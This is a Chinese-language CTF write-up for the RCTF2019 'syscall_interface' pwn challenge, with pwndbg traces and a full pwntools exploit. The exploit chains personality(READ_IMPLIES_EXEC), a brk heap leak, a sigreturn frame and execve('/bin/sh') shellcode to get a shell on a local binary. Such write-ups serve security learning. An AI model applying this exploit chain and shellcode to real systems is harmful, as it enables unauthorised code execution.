RCTF2019 pwn syscall_interface writeup

TOC

  1. 1. 分析
  2. 2. 思路
    1. 2.1. sys_personality
    2. 2.2. sys_brk
    3. 2.3. 构造shellcode和frame
    4. 2.4. shellcode注入到heap
    5. 2.5. sys_rt_sigreturn控制rip
    6. 2.6. 注入新的shellcode
  3. 3. 完整脚本
    1. 3.1. 运行实例
  4. 4. 总结

一道考验我们对于系统调用掌握程度的题目。

思路借鉴自:balsn.tw

源程序、相关文件下载:syscall_interface.zip

分析

题目程序流是很简单的,就是我们可以使用系统调用,但是只能控制第一个参数。

思路

  1. sys_personality设置之后申请的内存有执行权限
  2. sys_brk返回申请的权限的末尾地址
  3. 构造shellcode和frame
  4. 利用printf把shellcode注入到heap上
  5. sys_rt_sigreturn控制rip
  6. 注入新的shellcode

sys_personality

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('135') # sys_personality
sh.recvuntil('argument:')
sh.sendline(str(0x400000)) # READ_IMPLIES_EXEC

设置之后申请的内存有执行权限,由于之后程序会调用printf函数,而printf函数需要依赖于heap,也就是在调用printf的时候,若程序没有heap,则printf函数会向系统进行申请。由于我们之前调用了sys_personality,所以之后的heap就会有执行权限。

原理如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/personality.h>


int main()
{
personality(READ_IMPLIES_EXEC); // break1
printf("hello world\n"); // break2

return 0;
}

执行完break1之后,之后的内存有执行权限,而break2printf会申请heap

这样就会使得后面申请的栈有执行权限。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/ex/test/a.out
0x555555754000 0x555555755000 r--p 1000 0 /home/ex/test/a.out
0x555555755000 0x555555756000 rw-p 1000 1000 /home/ex/test/a.out
0x555555756000 0x555555777000 rwxp 21000 0 [heap]
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fd8000 0x7ffff7fda000 rw-p 2000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

sys_brk

但参数为0,该函数的的返回值为可以申请的内存页的开头,也就是heap的末尾。由于我们知道heap的大小是0x21000,所以可以计算出heap的地址。

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))

sh.recvuntil("RET(")
heap_addr = int(sh.recvuntil(")")[:-1], 16) - 0x21000
log.success("heap_addr: " + hex(heap_addr))

构造shellcode和frame

我们会用到username(刚好在栈上)来构造frame,在构造frame之前我们需要知道username对于frame的偏移。

pwndbg> b syscall
Breakpoint 1 at 0x7f1c2ea3b820: file ../sysdeps/unix/sysv/linux/x86_64/syscall.S, line 30.
pwndbg> c
Continuing.

Breakpoint 1, syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:30
30 ../sysdeps/unix/sysv/linux/x86_64/syscall.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0xdeadbeefffee1bad
RDX 0xdeadbeefffee1bad
RDI 0x87
RSI 0x400000
R8 0xdeadbeefffee1bad
R9 0xdeadbeefffee1bad
R10 0x7f1c2eabecc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R11 0xa
R12 0x55dfb09fc9c0 ◂— xor ebp, ebp
R13 0x7fff96f92b70 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fff96f929e0 —▸ 0x7fff96f92a90 —▸ 0x55dfb09fd060 ◂— push r15
RSP 0x7fff96f92988 —▸ 0x55dfb09fcecd ◂— add rsp, 0x20
RIP 0x7f1c2ea3b820 (syscall) ◂— mov rax, rdi
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x7f1c2ea3b820 <syscall> mov rax, rdi
0x7f1c2ea3b823 <syscall+3> mov rdi, rsi
0x7f1c2ea3b826 <syscall+6> mov rsi, rdx
0x7f1c2ea3b829 <syscall+9> mov rdx, rcx
0x7f1c2ea3b82c <syscall+12> mov r10, r8
0x7f1c2ea3b82f <syscall+15> mov r8, r9
0x7f1c2ea3b832 <syscall+18> mov r9, qword ptr [rsp + 8]
0x7f1c2ea3b837 <syscall+23> syscall
0x7f1c2ea3b839 <syscall+25> cmp rax, -0xfff
0x7f1c2ea3b83f <syscall+31> jae syscall+34 <0x7f1c2ea3b842>

0x7f1c2ea3b841 <syscall+33> ret
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fff96f92988 —▸ 0x55dfb09fcecd ◂— add rsp, 0x20
01:0008│ 0x7fff96f92990 ◂— 0xdeadbeefffee1bad
... ↓
05:0028│ 0x7fff96f929b0 —▸ 0x7fff96f929e0 —▸ 0x7fff96f92a90 —▸ 0x55dfb09fd060 ◂— push r15
06:0030│ 0x7fff96f929b8 —▸ 0x7fff96f92a00 ◂— 0x79646f626f6e /* 'nobody' */
07:0038│ 0x7fff96f929c0 ◂— 0x8700000000000030 /* '0' */
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 7f1c2ea3b820 syscall
f 1 55dfb09fcecd
f 2 55dfb09fcfb5
f 3 7f1c2e941b97 __libc_start_main+231
Breakpoint syscall
pwndbg> search -s nobody
syscall_interface 0x55dfb09fcf42 outsb dx, byte ptr [rsi] /* 'nobody' */
warning: Unable to access 16000 bytes of target memory at 0x7f1c2eb0ed05, halting search.
[stack] 0x7fff96f92a00 0x79646f626f6e /* 'nobody' */

从上面的调试信息可以看出username的地址是0x7fff96f92a00,接下来计算他们的偏移。

pwndbg> p 0x7fff96f92a00-(size_t)$rsp
$1 = 120

正好是120字节的偏移,这个值在之后构造frame的时候会用到。

120的字节,让我们来看看我们能控制哪些寄存器:

__uint64_t rbp;    // 120-128
__uint64_t rbx; // 128-136
__uint64_t rdx; // 136-144
__uint64_t rax; // 144-152
__uint64_t rcx; // 152-160
__uint64_t rsp; // 160-168
__uint64_t rip; // 168-176
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short ss;

能控制的还是很多的,但是前面十六个字节我们需要注入shellcode,而且rbprbx对我们来说也并没有用。

shellcode = '''
xor rdi, rdi
mov rsi, rsp
syscall

jmp rsi
'''

# You need to calculate the value by yourself
rip_heap_offset = 664 - 8
rip = heap_addr + rip_heap_offset

log.success('rip: ' + hex(rip))

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdx = 0x1000
frame.rsp = heap_addr + 0x5000
frame.rip = rip
# set cs=0x33, ss=0x2b
frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0001 * 0x10000) | (0x0033 * 0x1)

payload = asm(shellcode).ljust(16, '\0') + str(frame)[120 + 16:]

这里我重点提两点:

我们是利用printf的%s来把shellcode存放到heap上的,所以shellcode中不能有NUL字节,否则会被截断。

frame 框架一定要设置cs和ss,否则程序会直接crash。

shellcode注入到heap

sh.recvuntil('choice:')
sh.sendline('1')
sh.recvuntil('username:')
sh.send(payload[:127])
# pause()

# leave shellcode on the heap
sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))

sys_rt_sigreturn控制rip

在这之前我们需要先知道shellcode相对于heap的偏移,计算方法如下:

pwndbg> search -s nobody
syscall_interface 0x5573e73faf42 outsb dx, byte ptr [rsi] /* 'nobody' */
[heap] 0x5573e8729290 0xa79646f626f6e /* 'nobody\n' */
warning: Unable to access 16000 bytes of target memory at 0x7f961b13fd05, halting search.
[stack] 0x7ffe5ac18ce0 0x79646f626f6e /* 'nobody' */
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5573e73fa000 0x5573e73fc000 r-xp 2000 0 /home/ex/test/syscall_interface
0x5573e75fb000 0x5573e75fc000 r--p 1000 1000 /home/ex/test/syscall_interface
0x5573e75fc000 0x5573e75fd000 rw-p 1000 2000 /home/ex/test/syscall_interface
0x5573e8729000 0x5573e874a000 rwxp 21000 0 [heap]
0x7f961af51000 0x7f961b138000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f961b138000 0x7f961b338000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f961b338000 0x7f961b33c000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f961b33c000 0x7f961b33e000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f961b33e000 0x7f961b342000 rw-p 4000 0
0x7f961b342000 0x7f961b369000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f961b54a000 0x7f961b54c000 rw-p 2000 0
0x7f961b569000 0x7f961b56a000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f961b56a000 0x7f961b56b000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f961b56b000 0x7f961b56c000 rw-p 1000 0
0x7ffe5abfa000 0x7ffe5ac1b000 rw-p 21000 0 [stack]
0x7ffe5ac29000 0x7ffe5ac2c000 r--p 3000 0 [vvar]
0x7ffe5ac2c000 0x7ffe5ac2e000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p 0x5573e8729290-0x5573e8729000
$1 = 656

然后就直接调用sys_rt_sigreturn控制rip。

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('15') # sys_rt_sigreturn
sh.recvuntil('argument:')
sh.sendline(str(0))

注入新的shellcode

shellcode2 = '''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall
'''

sh.send(asm(shellcode2))

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

# context.log_level = 'debug'
context.arch = 'amd64'
sh = process("./syscall_interface")
# elf = ELF("./many_notes")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


# 创建pid文件,用于gdb调试
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass

# pause()
sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('135') # sys_personality
sh.recvuntil('argument:')
sh.sendline(str(0x400000)) # READ_IMPLIES_EXEC


sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))

sh.recvuntil("RET(")
heap_addr = int(sh.recvuntil(")")[:-1], 16) - 0x21000
log.success("heap_addr: " + hex(heap_addr))

# pause()

# offset 120

'''
__uint64_t rbp; // 120-128
__uint64_t rbx; // 128-136
__uint64_t rdx; // 136-144
__uint64_t rax; // 144-152
__uint64_t rcx; // 152-160
__uint64_t rsp; // 160-168
__uint64_t rip; // 168-176
'''


shellcode = '''
xor rdi, rdi
mov rsi, rsp
syscall

jmp rsi
'''

# You need to calculate the value by yourself
rip_heap_offset = 656
rip = heap_addr + rip_heap_offset

log.success('rip: ' + hex(rip))

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdx = 0x1000
frame.rsp = heap_addr + 0x5000
frame.rip = rip
# set cs=0x33, ss=0x2b
frame.csgsfs = (0x002b * 0x1000000000000) | (0x0000 * 0x100000000) | (0x0001 * 0x10000) | (0x0033 * 0x1)

payload = asm(shellcode).ljust(16, '\0') + str(frame)[120 + 16:]

# set heap and stack simultaneously:

# leave frame on the stack
sh.recvuntil('choice:')
sh.sendline('1')
sh.recvuntil('username:')
sh.send(payload[:127])
# pause()

# leave shellcode on the heap
sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('12') # sys_brk
sh.recvuntil('argument:')
sh.sendline(str(0))
# pause()

sh.recvuntil('choice:')
sh.sendline('0')
sh.recvuntil('syscall number:')
sh.sendline('15') # sys_rt_sigreturn
sh.recvuntil('argument:')
sh.sendline(str(0))
# pause()

shellcode2 = '''
mov rax, 0x0068732f6e69622f
push rax

mov rdi, rsp
xor rsi, rsi
mul rsi
mov al, 59
syscall
'''

sh.send(asm(shellcode2))

sh.interactive()

运行实例

ex@Ex:~/test$ ./exp.py 
[+] Starting local process './syscall_interface': pid 27761
[+] heap_addr: 0x55ad5cbf2000
[+] rip: 0x55ad5cbf2290
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)

总结

看大佬写的博客,学到的东西感觉很充实。